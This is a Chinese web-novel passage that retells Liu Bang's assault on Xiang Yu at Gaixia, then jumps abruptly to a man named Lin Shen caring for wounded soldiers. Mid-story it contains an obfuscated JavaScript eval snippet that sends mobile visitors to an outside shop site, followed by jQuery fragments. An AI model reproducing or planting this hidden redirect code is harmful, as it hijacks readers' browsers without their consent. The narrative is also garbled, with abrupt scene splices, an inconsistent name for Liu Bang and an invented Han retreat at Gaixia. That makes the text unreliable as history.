刘邦知道项羽在垓下的时候，正在彭城。
那是一个阴天的下午,刘邦站在彭城最大的那间屋子里——以前是项羽的议事堂，现在是他的临时行辕，案几上堆满了从各地送来的竹简。
他手里拿着一卷刚从前方送来的密报，看了一遍,靠在靠背上，闭上了眼睛。密报上只有几句话，是探子从垓下附近送来的——“发现楚军踪迹，人数不详，扎营于垓下高地，四面环水，壕沟密布，戒备森严。”落款是三天前的日期。
“沛公。”张良叫了他。不是“汉王”，是“沛公”。在张良叫出这两个字的时候，屋子里所有人都知道，张良说的不是公事。
刘邦睁开了眼睛。他的眼睛里布满血丝，不是熬夜熬的，是累的。从荥阳到彭城，从彭城到垓下，从垓下到——他没有想好。
“子房。”刘季叫了张良的名字。
“他在垓下。”张良说。
刘邦没有说话。他拿起案几上那卷密报，又看了一遍。垓下。那个地方他没有听说过。在地图上找了半天才找到，在洨水旁边，在淮河北边，在一大片沼泽和芦苇荡中间。那里没有城，没有墙，没有粮仓，没有武库。他去那里干什么？
“他为什么要去垓下？”刘邦问。
没有人回答。
“他是故意放那细作回来的。”刘邦的声音很平。
萧何放下了手里的竹简，抬起头看着刘邦。他的眼睛里有一种东西，不是困惑，不是担忧，而是一种更深的、更沉的表情。
“他只有不到十万人，”陈平说，“我们有三十万。韩信在齐国，随时可以南下。彭越在梁地，随时可以东进。英布在九江，随时可以北上。他以为他在垓下设了一个陷阱，他不知道他自己才是猎物。他以为自己是谁？他不是神。他一个人，十万人，能挡得住三十万、四十万、五十万吗？他挡不住。没有人能挡住。”
屋子里安静了一瞬。
刘邦从彭城出发的时候，是十月下旬。天已经开始冷了，风从北边吹过来，裹挟着初冬的寒意，他没有骑那匹白马，他骑了一匹栗色的、不起眼的普通战马。
大军走了五天，到了垓下附近。探子来报——前方十里，发现楚军的斥候。刘邦下令停军，扎营，休息一夜。第二天一早再出发。他想了一路。从彭城到垓下，走了五天。
第二天一早，天还没亮，大军就出发了。走了不到一个时辰，就看到了垓下。
刘邦勒住了马，看着远处的高地。风从高地上吹过来，带着芦苇和野草的味道。
“汉王。”一个声音从身后传来。
“前面就是垓下。”陈平的声音不大，但很清晰，“楚军的斥候已经发现了我们。他们回去报信了。项羽知道我们来了。”
刘邦没有说话。他骑着马，站在那条银子铺成的窄路上，看着远处的高地，看着高地上那些黑色的、在风中猎猎作响的旗帜。
“走。”刘邦勒紧了缰绳，策马走上了那条窄路。
大军跟在后面。步兵，骑兵，弓弩手，粮草队。三十万人，浩浩荡荡的，窄路只够十个人并排走，三十万人走在这条路上，太拥挤。
走了不到半个时辰，前面的队伍忽然停了下来。不是“停”，是“僵”。
“汉王！前面发现壕沟！”传令兵的声音从前面传过来。
刘邦下了马，走到队伍前面。壕沟在路中间，横着挖的，从路的左边一直挖到路的右边，没有留任何空隙。壕沟有两丈宽，一丈深，沟底插满了削尖了的木桩，人掉下去，会被戳穿。马掉下去，会被戳穿。
刘邦站在第一道壕沟前面，低头看着沟底那些木桩。
“汉王。”陈平的声音从身后传来，“不能再往前走了。前面的路被壕沟堵死了。我们需要时间填沟。”
“填。”刘邦说。
士兵们开始填沟。不是用土，是用命。
第一批扛着沙袋冲上去，还没跑到沟边，箭矢就从对面的高地上射下来了。不是一根两根，是几百根，密密麻麻的，遮住了天空，像一群迁徙的鸟，但不是鸟，是带着铁尖的。有人中了箭，倒下了，沙袋从肩膀上滑下来，掉在地上，沙子从袋口漏出来。
有人没有中箭，跑到了沟边，把沙袋扔进沟里，转身跑回来。跑到一半，中箭了。倒下了。没有人去看他。没有人去扶他。没有人去确认他是不是还活着。第二批扛着沙袋冲上去，箭矢又下来了。有人中了箭，倒下了。
沟填了三天。三天里，死了一万多人。一万人，不是一万个数字，刘邦没有去看那些死人。
第四天，沟填平了。
沟填平的那天晚上，刘邦坐在帐篷里，面前放着酒碗。酒是冷的，不是冰的，是凉的。
他端起酒碗，喝了一口。酒是烈的，烧喉咙的，像一把火从嘴巴烧到胃里，把所有的东西都烧成了一团灰。他放下酒碗，看着案几上那张地图。垓下的地图。
刘邦端起酒碗，把剩下的酒一口喝了。他放下碗，用袖子擦了擦嘴，站起来，走到帐篷门口。
第二天，天还没亮，刘邦下了最后一道命令——全军出击。
不是填沟，是冲。
三十万人，同时冲。
刘邦骑着那匹栗色的普通战马，冲在最前面。箭矢从高地上射下来了。不是一根两根，是几百根，密密麻麻的。
箭矢从他耳边飞过去，从他头顶飞过去，从他身边飞过去。没有射中他。不是因为他运气好，是因为周围的人帮他挡住了。
垓下之战，打了三天三夜。
项羽的楚军，从十万人打到了五万人，从五万人打到了三万人，从三万人打到了一万人。刘邦的汉军，从三十万人打到了二十万人，从二十万人打到了十五万人，从十五万人打到了十万人。双方都死了很多人。不是人，是命。
第四天，刘邦退了。
不是他想退，是他不得不退。他的援军还没有到，他的粮草快吃完了，他的士兵累得站不起来了，不退，会死更多的人。死更多的人，他就没有脸回去见那些死者的家人了。他不想没有脸。他的脸已经很少了。从沛县出来的时候，他的脸还有很多。打一仗，少一点。再打一仗，再少一点。打到垓下，他的脸已经没了。
刘邦的援军，在刘邦撤退的第三天，到了。
韩信的军队从齐国南下，彭越的军队从梁地东进，英布的军队从九江北上。三路大军，号称五十万，实际也有三四十万。
他们从三个方向，朝着垓下涌来。
刘邦站在营地外面，看着那三路大军从三个方向涌来，看着那些黑色的、像潮水一样的人头，看着那些在风中猎猎作响的旗帜。
帐篷里的灯油快烧干了。
林深蹲在角落里，膝盖上摊着一卷竹简，竹简上密密麻麻地写满了字，墨迹有深有浅，有的地方被水洇开了，模糊成一团黑色的云。那是垓下的布防图，他已经看了无数遍.
帐篷外面有声音。不是说话声，是脚步声。很轻，很碎，像很多人踩在碎石子路上，走得很急，
有人在低声喊医官。
林深站起来，把竹简卷好，塞进袖子里。他走出帐篷，那是血的味道。不是新鲜的血，新鲜的血是腥的，铁的，像生锈的刀。这是旧的血，干了的血.
他朝帐篷的另一头走去。那里是伤兵营，是他下令搭建的，在营地的东南角，远离粮草和兵器，靠近水源。水是干净的，伤兵需要干净的水。干净的水可以洗伤口，洗掉泥沙，洗掉碎屑,干净的水不够。洨河里的水很多，但打上来不干净，要烧开了才能用。烧开了，放凉了，才能洗伤口。锅不够，柴不够，人手不够。
他站在伤兵营门口，看着里面。帐篷很大，能容一百多人，但现在挤了三百多，人挨着人，有人躺在干草上，有人靠着柱子，有人趴在别人身上，有人缩在角落里抱着膝盖。他们的身上缠着布条。
医官蹲在一个伤兵旁边，正在缝他腿上的伤口。医官用针线在缝。
林深蹲下来，看着那个伤兵的脸。
“我叫刘二。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541767|203833||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他说。
林深的心跳了一下，说，“是我帮你起的名字。”
伤兵看着他，眼睛里有什么东西在闪烁，不是泪光，是光。
“刘二，”林深说，“你还活着。”
医官在叫林深。
林深站起来，朝医官走去，“先生，”医官没有抬头，“布条不够了。”，“我去找。”林深说。
他走出伤兵营，走进黑暗中。
他走了很久，到月久亮从云层后面钻了出来，他站在粮草营门口，看着里面那些堆得整整齐齐的粮袋。粮袋是麻布做的，麻布可以撕成布条。布条可以缠伤口。
“先生。”一个声音从身后传来。他转过身，看到一个年轻士兵站在他身后，手里抱着一个包袱。包袱很大，很沉，像装了很多东西。
“先生，这是我从家里带来的衣裳。没穿过几回，新的。你拿去撕了吧。给伤兵缠伤口。”
林深看着他，看了很久。
“谢谢。”
士兵把包袱放在地上，转身跑了。
林深把包袱抱起来，走回伤兵营。
医官还在缝伤口。他的手指已经僵了，不是冷的，是累的。他缝了整整一天一夜，没有停过。
医官接过布条，缠在伤兵的腿上。伤兵没有喊疼。不是不疼，是睡着了。他太累了，累到疼都喊不出来了。
林深站起来，看着伤兵营里的那些脸。
他走出伤兵营，走到营地边缘，站在芦苇荡旁边。
他的手在抖。
他蹲下来，把手伸进芦苇丛里。芦苇的叶子是干的，粗糙的，割手。他抓住一把芦苇，用力拔了出来，想起了苏萤。苏萤在彭城，在院子里，等他回去。他不知道什么时候能回去，月亮从云层后面钻了出来，又大又圆。
林深站起来，抱着那捆芦苇，走回了伤兵营。
他把芦苇放在地上，对医官说：“这个可以当绷带。把叶子撕下来，缠在伤口上。叶子是干的，吸水，能吸血。血被吸干了，伤口就不会化脓了。”
医官看着他，看了很久。
“先生，”医官说，“芦苇不能当绷带。叶子是干的，一碰就碎。缠在伤口上，会碎，会掉进伤口里，会化脓。会死。”
林深蹲下来，看着那些芦苇。芦苇的叶子是干的，黄的，卷曲的，一碰就碎。他把一片叶子放在手心里，用另一只手轻轻一捏，叶子碎了，变成了一小堆金黄色的、像粉末一样的东西。
“我知道。”林深说。
“先生。”一个声音从头顶传来。
他抬起头，看到刘二站在他面前。刘二拄着一根木棍，左腿缠满了布条。
“先生，你别哭。”刘二说，“我还没死。你哭什么？”
林深看着他，看了很久。
刘二把木棍夹在腋下，伸出手，从怀里掏出一样东西，递给林深。
是一块饼。
“你从哪里弄来的？”林深的眼眶红了。
“医官发的。每个人一块。我没舍得吃。我想留给你。”
“一人一半。”林深说。
林深看着刘二的吃相，也把手里的半块饼放进嘴里。
月亮从西边沉了下去，天边开始泛白。
“先生。”刘二叫了他。
“嗯。”
“你说，我们能活着回去吗？”
林深沉默了很久。
“能。”林深说。
“好，”刘二说，“那我回去睡觉了。明天还要打仗。”
他拄着木棍，一瘸一拐地走回了伤兵营。
林深站在原地，手里还攥着那半块饼的碎屑。
他转过身，走回了自己的帐篷。帐篷里很暗，他躺在干草上，把包袱枕在头下，笔记本的硬角硌着他的后脑勺，有点疼。他没有翻身。
他闭上了眼睛。黑暗中，他听到了一个声音。是苏萤的声音。她在说——“花还没开。”
他笑了。
“会开的。”他在黑暗中轻声说。